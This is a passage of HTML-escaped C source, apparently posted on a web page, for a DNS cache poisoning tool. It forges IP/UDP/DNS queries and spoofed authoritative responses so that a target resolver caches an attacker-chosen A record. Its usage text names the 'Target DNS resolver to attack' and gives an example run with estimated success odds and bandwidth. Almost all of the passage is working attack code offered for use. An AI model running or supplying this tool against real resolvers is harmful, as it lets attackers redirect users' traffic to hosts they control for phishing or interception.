/&gt;&amp;nbsp;&amp;nbsp; *len = sizeof (p) + l;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;void dns_response(u_char *buf, unsigned size, unsigned *len,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uint16_t txid, uint16_t flags,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; const char *q_name, const char *q_ip,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; const char *domain, const char *auth_name, const char *auth_ip)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; u_char *out = buf;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; u_char *end = buf + size;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; u_char rec[256];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned l_rec;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint32_t ttl = 24*3600;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct dns_pkt p = {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .txid = htons(txid),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .flags = htons(flags),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_quest = htons(1),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_ans = htons(1),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_auth = htons(1),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .nr_add = htons(1),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; (void)domain;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *len = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (out + *len + sizeof (p) &amp;gt; end)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;dns_response overflow&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out + *len, &amp;amp;p, sizeof (p)); *len += sizeof (p);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // queries&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_qr(rec, sizeof (rec), &amp;amp;l_rec, q_name, TYPE_A, CLASS_IN);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (out + *len + l_rec &amp;gt; end)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;dns_response overflow&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // answers&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_rr(rec, sizeof (rec), &amp;amp;l_rec, q_name, TYPE_A, CLASS_IN,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ttl, q_ip);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (out + *len + l_rec &amp;gt; end)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;dns_response overflow&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // authoritative nameservers&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_rr(rec, sizeof (rec), &amp;amp;l_rec, domain, TYPE_NS, CLASS_IN,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ttl, auth_name);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (out + *len + l_rec &amp;gt; end)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;dns_response overflow&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // additional records&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; format_rr(rec, sizeof (rec), &amp;amp;l_rec, auth_name, TYPE_A, CLASS_IN,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ttl, auth_ip);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (out + *len + l_rec &amp;gt; end)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;dns_response overflow&amp;quot;), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned len = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // ip&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct ip_hdr *ip = (struct ip_hdr *)buf;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_hl = 5;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_v = 4;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_tos = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_id = rand() &amp;amp; 0xffff;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_off = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_ttl = IP_TTL_MAX;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_p = 17; // udp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_sum = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct addr addr;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (addr_aton(srcip, &amp;amp;addr) &amp;lt; 0)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;invalid source IP: %s&amp;quot;, srcip), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_src = addr.addr_ip;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (addr_aton(dstip, &amp;amp;addr) &amp;lt; 0)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;invalid destination IP: %s&amp;quot;, dstip), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_dst = addr.addr_ip;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // udp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; udp-&amp;gt;uh_sport = htons(1234);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; udp-&amp;gt;uh_dport = htons(53);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // dns&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &amp;amp;len,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rand(), DNSF_REC_DESIRED, name);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // udp len&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; len += UDP_HDR_LEN;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; udp-&amp;gt;uh_ulen = htons(len);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // ip len &amp;amp; cksum&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; len += IP_HDR_LEN;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_len = htons(len);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip_checksum(buf, len);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; return len;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;unsigned build_response(u_char *buf, const char *srcip, const char *dstip,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uint16_t port_resolver, uint16_t txid,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; const char *q_name, const char *q_ip,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; const char *domain, const char *auth_name, const char *auth_ip)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned len = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // ip&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct ip_hdr *ip = (struct ip_hdr *)buf;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_hl = 5;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_v = 4;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_tos = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_id = rand() &amp;amp; 0xffff;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_off = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_ttl = IP_TTL_MAX;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_p = 17; // udp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_sum = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct addr addr;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (addr_aton(srcip, &amp;amp;addr) &amp;lt; 0)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;invalid source IP: %s&amp;quot;, srcip), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_src = addr.addr_ip;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (addr_aton(dstip, &amp;amp;addr) &amp;lt; 0)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;invalid destination IP: %s&amp;quot;, dstip), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_dst = addr.addr_ip;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // udp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; udp-&amp;gt;uh_sport = htons(53);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; udp-&amp;gt;uh_dport = htons(port_resolver);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // dns&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &amp;amp;len,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; q_name, q_ip, domain, auth_name, auth_ip);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // udp len&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; len += UDP_HDR_LEN;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; udp-&amp;gt;uh_ulen = htons(len);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // ip len &amp;amp; cksum&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; len += IP_HDR_LEN;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip-&amp;gt;ip_len = htons(len);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip_checksum(buf, len);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; return len;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;void usage(char *name)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;Usage: %s &amp;lt;ip-querier&amp;gt; &amp;lt;ip-resolver&amp;gt; &amp;lt;ip-authoritative&amp;gt; &amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;lt;port-resolver&amp;gt; &amp;lt;subhost&amp;gt; &amp;lt;domain&amp;gt; &amp;lt;any-ip&amp;gt; &amp;lt;attempts&amp;gt; &amp;lt;repl-per-attempt&amp;gt;\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;ip-querier&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Source IP used when sending queries for random hostnames\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (typically your IP)\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;ip-resolver&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Target DNS resolver to attack\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;ip-authoritative&amp;gt; One of the authoritative DNS servers for &amp;lt;domain&amp;gt;\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;port-resolver&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Source port used by the resolver when forwarding queries\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;subhost&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Poison the cache with the A record &amp;lt;subhost&amp;gt;.&amp;lt;domain&amp;gt;\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;domain&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Domain name, see &amp;lt;subhost&amp;gt;.\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;any-ip&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IP of your choice to be associated to &amp;lt;subhost&amp;gt;.&amp;lt;domain&amp;gt;\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;attempts&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Number of poisoning attemps, more attempts increase the\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chance of successful poisoning, but also the attack time\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; &amp;lt;repl-per-attempt&amp;gt; Number of spoofed replies to send per attempt, more &lt;br /&gt;&lt;br /&gt;replies\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; increase the chance of successful poisoning but, but also\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the rate of packet loss\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;Example:\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;&amp;nbsp; $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;this example (8192 attempts and 16 replies/attempt) is 86%%\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;100 attempts/sec).\n&amp;quot;,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; name, name);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (argc != 10)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usage(argv[0]), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; const char *querier = argv[1];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; const char *ip_resolver = argv[2];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; const char *ip_authoritative = argv[3];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; const char *subhost = argv[5];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; const char *domain = argv[6];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; const char *anyip = argv[7];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (domain[strlen(domain) - 1 ] != '.')&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr, &amp;quot;domain must end with dot(.): %s\n&amp;quot;, domain), exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; printf(&amp;quot;Chance of success: 1-(1-%d/65536)**%d = %.2f\n&amp;quot;, replies, attempts, 1 - pow((1 - &lt;br /&gt;&lt;br /&gt;replies / 65536.), attempts));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; srand(time(NULL));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; int unique = rand() + (rand() &amp;lt;&amp;lt; 16);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; u_char buf[IP_LEN_MAX];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; unsigned len;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; char name[256];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; char ns[256];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; ip_t *iph;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if ((iph = ip_open()) == NULL)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; err(1, &amp;quot;ip_open&amp;quot;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; int cnt = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; while (cnt &amp;lt; attempts)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // send a query for a random hostname&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; snprintf(name, sizeof (name), &amp;quot;%08x%08x.%s&amp;quot;, unique, cnt, domain);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; len = build_query(buf, querier, 